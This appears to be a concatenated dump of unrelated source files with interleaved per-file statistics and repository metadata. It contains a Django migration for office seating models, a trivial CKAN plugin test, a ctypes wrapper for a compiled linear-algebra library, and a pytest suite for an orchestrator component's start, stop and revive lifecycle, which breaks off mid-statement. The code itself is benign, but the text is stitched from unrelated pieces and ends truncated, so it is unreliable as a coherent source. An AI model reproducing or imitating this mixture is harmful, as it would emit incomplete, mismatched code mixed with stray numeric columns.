# Generated by Django 2.2 on 2021-11-17 14:11 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Building', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('building_code', models.CharField(max_length=5)), ('description', models.CharField(max_length=255)), ('location_code', models.CharField(max_length=5)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ], ), migrations.CreateModel( name='Floor', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('floor_code', models.CharField(max_length=5)), ('building_code', models.CharField(max_length=5)), ('description', models.CharField(max_length=255)), ('location_code', models.CharField(max_length=5)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('floors_at_building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_floors', to='office_space_app.Building')), ], ), migrations.CreateModel( name='Location', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('location_code', models.CharField(max_length=5)), ('description', models.CharField(max_length=255)), ('city', models.CharField(max_length=100)), ('country', models.CharField(max_length=45)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ], ), migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('employee_name', models.CharField(max_length=100)), ('email_id', models.CharField(max_length=100)), ('password', models.CharField(max_length=255)), ('location_code', models.CharField(max_length=5)), ('building_code', models.CharField(max_length=5)), ('floor_code', models.CharField(max_length=5)), ('user_role', models.CharField(choices=[('Admin', 'Admin'), ('Location_anchor', 'Location_anchor'), ('Building_anchor', 'Building_anchor'), ('Floor_anchor', 'Floor_anchor')], max_length=45)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_users', to='office_space_app.Building')), ('floor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='floor_users', to='office_space_app.Floor')), ('location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_users', to='office_space_app.Location')), ], ), migrations.CreateModel( name='Seat', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('seat_number', models.CharField(max_length=25)), ('seat_type', models.CharField(max_length=45)), ('floor_code', models.CharField(max_length=5)), ('building_code', models.CharField(max_length=5)), ('location_code', models.CharField(max_length=5)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ('seats_at_building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_seats', to='office_space_app.Building')), ('seats_at_floor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='floor_seats', to='office_space_app.Floor')), ('seats_at_location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_seats', to='office_space_app.Location')), ], ), migrations.AddField( model_name='floor', name='floors_at_location', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_floors', to='office_space_app.Location'), ), migrations.AddField( model_name='building', name='buildings_at_location', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_buildings', to='office_space_app.Location'), ), ]
55.677083
207
0.614032
567
5,345
5.532628
0.13933
0.109978
0.126235
0.168314
0.832643
0.736372
0.725534
0.712145
0.712145
0.67963
0
0.01361
0.243966
5,345
95
208
56.263158
0.762683
0.008045
0
0.613636
1
0
0.184151
0.045283
0
0
0
0
0
1
0
false
0.011364
0.022727
0
0.068182
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
93a917e59e024c2142b15af4d39a8efc8ac1911e
97
py
Python
ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py
Tampere/sixodp-tampere
975105a5e20e97c54dd7c84c761f91cca1316842
[ "MIT" ]
8
2016-10-14T14:32:00.000Z
2022-01-14T16:04:07.000Z
ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py
Tampere/sixodp-tampere
975105a5e20e97c54dd7c84c761f91cca1316842
[ "MIT" ]
42
2016-11-11T12:24:54.000Z
2021-07-12T03:29:18.000Z
ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py
Tampere/sixodp-tampere
975105a5e20e97c54dd7c84c761f91cca1316842
[ "MIT" ]
7
2017-03-13T09:21:08.000Z
2018-01-08T06:40:22.000Z
"""Tests for plugin.py.""" import ckanext.sixodp_ui.plugin as plugin def test_plugin(): pass
19.4
41
0.721649
15
97
4.533333
0.8
0
0
0
0
0
0
0
0
0
0
0
0.14433
97
5
42
19.4
0.819277
0.206186
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
1
0
1
0
0
7
93c48d9ea3e876fead68ef7b678a68b2349f3528
24,829
py
Python
sparseklearn/fastLA/fastLA.py
EricKightley/sparseklearn
d5d1f42c0572972ea3f4702734f82066ae7270e3
[ "MIT" ]
3
2018-02-08T08:35:54.000Z
2020-02-19T21:50:28.000Z
sparseklearn/fastLA/fastLA.py
EricKightley/sparseklearn
d5d1f42c0572972ea3f4702734f82066ae7270e3
[ "MIT" ]
1
2020-07-07T05:23:52.000Z
2020-07-08T13:57:48.000Z
sparseklearn/fastLA/fastLA.py
EricKightley/sparseklearn
d5d1f42c0572972ea3f4702734f82066ae7270e3
[ "MIT" ]
1
2019-10-07T03:56:41.000Z
2019-10-07T03:56:41.000Z
import os import numpy as np from numpy.ctypeslib import ndpointer import ctypes as ct import glob # local_path = os.path.dirname(__file__) # dist = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep + # 'libdistances.so') # mom = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep + # 'libmoments.so') # aux = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep + # 'libauxiliary.so') path = os.path.abspath(__file__) path = os.path.realpath(path) path = os.path.dirname(path) path = glob.glob(path + '/_fastLA*.so')[0] _fastLA = ct.CDLL(path) ################################################################################ ## dist_both_comp _fastLA.dist_both_comp.restype = ct.c_double _fastLA.dist_both_comp.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample_1 ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample_2 ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_1 ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_2 ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def dist_both_comp(comp_sample_1, comp_sample_2, mask_1, mask_2, num_feat_comp, num_feat_full): return _fastLA.dist_both_comp(comp_sample_1, comp_sample_2, mask_1, mask_2, num_feat_comp, num_feat_full) ################################################################################ ## dist_one_comp_one_full _fastLA.dist_one_comp_one_full.restype = ct.c_double _fastLA.dist_one_comp_one_full.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_sample ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def dist_one_comp_one_full(comp_sample, full_sample, mask, num_feat_comp, num_feat_full): return _fastLA.dist_one_comp_one_full(comp_sample, full_sample, mask, num_feat_comp, num_feat_full) ################################################################################ ## pairwise_l2_distances_with_self _fastLA.pairwise_l2_distances_with_self.restype = None _fastLA.pairwise_l2_distances_with_self.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array ct.c_int64, #num_samples ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def pairwise_l2_distances_with_self(result, comp_array, mask_array, num_samples, num_feat_comp, num_feat_full): return _fastLA.pairwise_l2_distances_with_self(result, comp_array, mask_array, num_samples, num_feat_comp, num_feat_full) ################################################################################ ## pairwise_l2_distances_with_full _fastLA.pairwise_l2_distances_with_full.restype = None _fastLA.pairwise_l2_distances_with_full.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_array ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array ct.c_int64, #num_samples_comp ct.c_int64, #num_samples_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def pairwise_l2_distances_with_full(result, comp_array, full_array, mask_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full): return _fastLA.pairwise_l2_distances_with_full(result, comp_array, full_array, mask_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full) ################################################################################ ## mahalanobis_distance_spherical _fastLA.mahalanobis_distance_spherical.restype = ct.c_double _fastLA.mahalanobis_distance_spherical.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_mean ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_double, #spherical_covariance ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def mahalanobis_distance_spherical(comp_sample, full_mean, mask, spherical_covariance, num_feat_comp, num_feat_full): return _fastLA.mahalanobis_distance_spherical(comp_sample, full_mean, mask, spherical_covariance, num_feat_comp, num_feat_full) ################################################################################ ## mahalanobis_distance_diagonal _fastLA.mahalanobis_distance_diagonal.restype = ct.c_double _fastLA.mahalanobis_distance_diagonal.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_mean ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #diagonal covariance ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def mahalanobis_distance_diagonal(comp_sample, full_mean, mask, diagonal_covariance, num_feat_comp, num_feat_full): return _fastLA.mahalanobis_distance_diagonal(comp_sample, full_mean, mask, diagonal_covariance, num_feat_comp, num_feat_full) ################################################################################ ## pairwise_mahalanobis_distances_spherical _fastLA.pairwise_mahalanobis_distances_spherical.restype = None _fastLA.pairwise_mahalanobis_distances_spherical.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_means ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #spherical_covariance_array ct.c_int64, #num_samples_comp ct.c_int64, #num_samples_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def pairwise_mahalanobis_distances_spherical(result, comp_array, full_means, mask_array, spherical_covariance_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full): return _fastLA.pairwise_mahalanobis_distances_spherical(result, comp_array, full_means, mask_array, spherical_covariance_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full) ################################################################################ ## pairwise_mahalanobis_distances_diagonal _fastLA.pairwise_mahalanobis_distances_diagonal.restype = None _fastLA.pairwise_mahalanobis_distances_diagonal.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_means ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #diagonal_covariance_array ct.c_int64, #num_samples_comp ct.c_int64, #num_feat_comp ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def pairwise_mahalanobis_distances_diagonal(result, comp_array, full_means, mask_array, diagonal_covariance_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full): return _fastLA.pairwise_mahalanobis_distances_diagonal(result, comp_array, full_means, mask_array, diagonal_covariance_array, num_samples_comp, num_samples_full, num_feat_comp, num_feat_full) ################################################################################ ## update_weighted_first_moment _fastLA.update_weighted_first_moment.restype = None _fastLA.update_weighted_first_moment.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_to_update ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_to_update ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_double, #weight ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def update_weighted_first_moment(first_moment_to_update, normalizer_to_update, comp_sample, mask, weight, num_feat_comp, num_feat_full): return _fastLA.update_weighted_first_moment(first_moment_to_update, normalizer_to_update, comp_sample, mask, weight, num_feat_comp, num_feat_full) ################################################################################ ## update_weighted_first_moment_array _fastLA.update_weighted_first_moment_array.restype = None _fastLA.update_weighted_first_moment_array.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights ct.c_int64, #num_samp_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def update_weighted_first_moment_array(first_moment_array, normalizer_array, comp_sample, mask, weights, num_samp_full, num_feat_comp, num_feat_full): return _fastLA.update_weighted_first_moment_array(first_moment_array, normalizer_array, comp_sample, mask, weights, num_samp_full, num_feat_comp, num_feat_full) ################################################################################ ## compute_weighted_first_moment_array _fastLA.compute_weighted_first_moment_array.restype = None _fastLA.compute_weighted_first_moment_array.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights ct.c_int64, #num_samp_comp ct.c_int64, #num_samp_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def compute_weighted_first_moment_array(first_moment_array, comp_array, mask_array, weights_array, num_samp_comp, num_samp_full, num_feat_comp, num_feat_full): return _fastLA.compute_weighted_first_moment_array(first_moment_array, comp_array, mask_array, weights_array, num_samp_comp, num_samp_full, num_feat_comp, num_feat_full) ################################################################################ ## update_weighted_first_and_second_moment _fastLA.update_weighted_first_and_second_moment.restype = None _fastLA.update_weighted_first_and_second_moment.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_to_update ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_to_update ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_to_update ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_double, #weight ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def update_weighted_first_and_second_moment(first_moment_to_update, second_moment_to_update, normalizer_to_update, comp_sample, mask, weight, num_feat_comp, num_feat_full): return _fastLA.update_weighted_first_and_second_moment(first_moment_to_update, second_moment_to_update, normalizer_to_update, comp_sample, mask, weight, num_feat_comp, num_feat_full) ################################################################################ ## update_weighted_first_and_second_moment_array _fastLA.update_weighted_first_and_second_moment_array.restype = None _fastLA.update_weighted_first_and_second_moment_array.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights ct.c_int64, #num_samp_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def update_weighted_first_and_second_moment_array(first_moment_array, second_moment_array, normalizer_array, comp_sample, mask, weights, num_samp_full, num_feat_comp, num_feat_full): return _fastLA.update_weighted_first_and_second_moment_array(first_moment_array, second_moment_array, normalizer_array, comp_sample, mask, weights, num_samp_full, num_feat_comp, num_feat_full) ################################################################################ ## compute_weighted_first_and_second_moment_array _fastLA.compute_weighted_first_and_second_moment_array.restype = None _fastLA.compute_weighted_first_and_second_moment_array.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_array ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights ct.c_int64, #num_samp_comp ct.c_int64, #num_samp_full ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def compute_weighted_first_and_second_moment_array(first_moment_array, second_moment_array, comp_array, mask_array, weights_array, num_samp_comp, num_samp_full, num_feat_comp, num_feat_full): return _fastLA.compute_weighted_first_and_second_moment_array(first_moment_array, second_moment_array, comp_array, mask_array, weights_array, num_samp_comp, num_samp_full, num_feat_comp, num_feat_full) ################################################################################ ## apply_mask_to_full_sample _fastLA.apply_mask_to_full_sample.restype = None _fastLA.apply_mask_to_full_sample.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #samp_full ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_int64] #num_feat_comp def apply_mask_to_full_sample(result, samp_full, mask, num_feat_comp): return _fastLA.apply_mask_to_full_sample(result, samp_full, mask, num_feat_comp) ################################################################################ ## logdet_cov_diag _fastLA.logdet_cov_diag.restype = None _fastLA.logdet_cov_diag.argtypes = [ ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #cov_array ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask ct.c_int64, #num_samp_comp ct.c_int64, #num_cov ct.c_int64, #num_feat_comp ct.c_int64] #num_feat_full def logdet_cov_diag(result, cov_array, mask, num_samp_comp, num_cov, num_feat_comp, num_feat_full): return _fastLA.logdet_cov_diag(result, cov_array, mask, num_samp_comp, num_cov, num_feat_comp, num_feat_full)
50.159596
85
0.428571
2,021
24,829
4.767442
0.039584
0.037052
0.0822
0.091541
0.94603
0.929735
0.893721
0.863103
0.839751
0.804048
0
0.011289
0.468404
24,829
494
86
50.261134
0.718691
0.089009
0
0.803618
0
0
0.037953
0
0
0
0
0
0
1
0.041344
false
0
0.01292
0.041344
0.095607
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
93c985891031ec107b15bc9dc3d0317073f5a378
15,048
py
Python
test_pytest/test_unit/test_orchestrator/test_component.py
hrvojekeserica/hat-core
759def68620cf4f8c11e7bbbdbfd1e701dbafb09
[ "MIT" ]
null
null
null
test_pytest/test_unit/test_orchestrator/test_component.py
hrvojekeserica/hat-core
759def68620cf4f8c11e7bbbdbfd1e701dbafb09
[ "MIT" ]
null
null
null
test_pytest/test_unit/test_orchestrator/test_component.py
hrvojekeserica/hat-core
759def68620cf4f8c11e7bbbdbfd1e701dbafb09
[ "MIT" ]
null
null
null
import pytest import asyncio import unittest.mock import sys import hat.orchestrator.component from hat.util import aio from hat.orchestrator.component import (Status, Component) @pytest.fixture() def short_start_delay(monkeypatch): monkeypatch.setattr(hat.orchestrator.component, 'start_delay', 0.001) @pytest.fixture() def short_sigint_timeout(monkeypatch): monkeypatch.setattr(hat.orchestrator.component, 'sigint_timeout', 0.001) @pytest.fixture() def process_queue(event_loop, monkeypatch): queue = aio.Queue() create_subprocess_exec = asyncio.create_subprocess_exec async def mock(*args, **kwargs): p = await create_subprocess_exec(*args, **kwargs) queue.put_nowait(p) return p monkeypatch.setattr(asyncio, 'create_subprocess_exec', mock) return queue def create_component_with_status_queue(conf): component = Component(conf) status_queue = aio.Queue() component.register_change_cb( lambda: status_queue.put_nowait(component.status)) return component, status_queue @pytest.mark.asyncio async def test_delayed_start_stop(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': ['sleep', '30'], 'delay': 0.01, 'revive': False}) assert component.status == Status.DELAYED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) component.start() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.closed.done() @pytest.mark.asyncio async def test_revive_on_stop(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': ['sleep', '30'], 'delay': 0, 'revive': True}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) for i in range(3): component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.set_revive(False) await status_queue.get() component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) with pytest.raises(asyncio.TimeoutError): await asyncio.wait_for(status_queue.get(), timeout=0.01) component.set_revive(True) await status_queue.get() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.closed.done() @pytest.mark.asyncio async def test_revive_on_component_finish(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': ['sleep', '0.001'], 'delay': 0, 'revive': True}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) for _ in range(3): assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert status_queue.empty() await component.async_close() assert component.closed.done() @pytest.mark.asyncio async def test_revive_on_delay(): component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 1, 'revive': False}) for revive in [True, False] * 5: component.set_revive(revive) assert component.revive == revive assert component.status == Status.DELAYED await asyncio.sleep(0) await component.async_close() assert component.status == Status.STOPPED @pytest.mark.asyncio async def test_stop_during_delay(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': ['sleep', '10'], 'delay': 1, 'revive': False}) assert component.status == Status.DELAYED component.stop() assert (await status_queue.get() == Status.STOPPED) assert status_queue.empty() await component.async_close() assert component.closed.done() @pytest.mark.asyncio async def test_initial_status(): component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 1, 'revive': False}) assert component.status == Status.DELAYED await component.async_close() assert component.status == Status.STOPPED component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 0, 'revive': False}) assert component.status == Status.STOPPED await component.async_close() assert component.status == Status.STOPPED @pytest.mark.asyncio async def test_closed(): component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 0, 'revive': False}) assert not component.closed.done() await component.async_close() assert component.closed.done() @pytest.mark.asyncio async def test_conf_properties(): conf = {'name': 'name', 'args': ['sleep', '10'], 'delay': 0, 'revive': False} component = Component(conf) assert component.name == conf['name'] assert component.args == conf['args'] assert component.delay == conf['delay'] assert component.revive == conf['revive'] await component.async_close() @pytest.mark.timeout(1) @pytest.mark.asyncio async def test_call_create_subprocess_exec_without_revive(short_start_delay): with unittest.mock.patch('asyncio.create_subprocess_exec') as create: create.return_value.stdout.readline.return_value = None component = Component({ 'name': 'name', 'args': ['sleep', '0'], 'delay': 0, 'revive': False}) while create.call_count < 1: await asyncio.sleep(0.001) await component.async_close() @pytest.mark.asyncio async def test_call_create_subprocess_exec_with_revive(short_start_delay): with unittest.mock.patch('asyncio.create_subprocess_exec') as create: create.return_value.stdout.readline.return_value = None component = Component({ 'name': 'name', 'args': ['sleep', '0'], 'delay': 0, 'revive': True}) while create.call_count <= 5: await asyncio.sleep(0.001) await component.async_close() @pytest.mark.asyncio async def test_process_stopped_on_close(short_start_delay, process_queue): component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 0, 'revive': False}) p = await process_queue.get() await asyncio.sleep(0.01) assert p.returncode is None await component.async_close() assert p.returncode is not None @pytest.mark.timeout(1) @pytest.mark.asyncio async def test_process_stopped_on_stop(short_start_delay, process_queue): component = Component({ 'name': 'name', 'args': ['sleep', '10'], 'delay': 0, 'revive': False}) p = await process_queue.get() assert p.returncode is None component.stop() while p.returncode is None: await asyncio.sleep(0.001) await component.async_close() @pytest.mark.asyncio async def test_new_process_on_start(short_start_delay, process_queue): component, status_queue = create_component_with_status_queue({ 'name': 'comp-xy', 'args': ['sleep', '100'], 'delay': 0, 'revive': False}) for i in range(5): if i != 0: component.start() p = await process_queue.get() assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) assert p.returncode is None component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) assert p.returncode is not None await component.async_close() assert status_queue.empty() assert process_queue.empty() @pytest.mark.asyncio async def test_soft_terminate_process(short_start_delay, process_queue, tmpdir): component_path = tmpdir / 'component.py' running_path = tmpdir / 'running' signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT' with open(component_path, 'w', encoding='utf-8') as f: f.write('import signal, sys, time\n' f'signal.signal({signum}, lambda *args: sys.exit(123))\n' f'open(r"{running_path}", "w").close()\n' 'while True:\n' ' time.sleep(0.001)\n') component = Component({ 'name': 'name', 'args': ['python', str(component_path)], 'delay': 0, 'revive': False}) while not running_path.exists(): await asyncio.sleep(0.001) p = await process_queue.get() assert p.returncode is None await component.async_close() assert p.returncode == 123 @pytest.mark.timeout(1) @pytest.mark.asyncio async def test_hard_terminate_process(short_start_delay, short_sigint_timeout, process_queue, tmpdir): component_path = tmpdir / 'component.py' running_path = tmpdir / 'running' signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT' with open(component_path, 'w', encoding='utf-8') as f: f.write('import signal, sys, time\n' f'signal.signal({signum}, lambda *args: None)\n' f'open(r"{running_path}", "w").close()\n' 'while True:\n' ' time.sleep(0.001)\n') component = Component({ 'name': 'name', 'args': ['python', str(component_path)], 'delay': 0, 'revive': False}) while not running_path.exists(): await asyncio.sleep(0.001) p = await process_queue.get() assert p.returncode is None await component.async_close() assert p.returncode is not None @pytest.mark.asyncio async def test_noop_revive(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': True}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) component.set_revive(True) component.set_revive(True) component.set_revive(True) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_noop_start(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': False}) while True: if await status_queue.get() == Status.RUNNING: break for _ in range(5): component.start() assert component.status == Status.RUNNING await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_noop_stop(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': False}) await status_queue.get() == Status.STARTING component.stop() while True: if await status_queue.get() == Status.STOPPED: break for _ in range(5): component.stop() assert component.status == Status.STOPPED await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_starting_no_interrupt(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': False}) assert component.status == Status.STOPPED assert (await status_queue.get() == Status.STARTING) for _ in range(5): component.start() component.stop() assert (await status_queue.get() == Status.RUNNING) assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_stopping_no_interrupt(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': False}) while True: if await status_queue.get() == Status.RUNNING: break component.stop() assert (await status_queue.get() == Status.STOPPING) for _ in range(5): component.stop() component.start() assert (await status_queue.get() == Status.STOPPED) assert (await status_queue.get() == Status.STARTING) assert (await status_queue.get() == Status.RUNNING) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_actions_not_queued_for_seq_exec(short_start_delay): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['sleep', '30'], 'delay': 0, 'revive': False}) while True: if await status_queue.get() == Status.RUNNING: break for _ in range(5): component.start() component.stop() assert (await status_queue.get() == Status.STOPPING) assert (await status_queue.get() == Status.STOPPED) await asyncio.sleep(0.001) assert status_queue.empty() await component.async_close() @pytest.mark.asyncio async def test_console_output(short_start_delay, capsys): component, status_queue = create_component_with_status_queue({ 'name': 'name', 'args': ['echo', 'abc'], 'delay': 0, 'revive': False}) while (await status_queue.get()) != 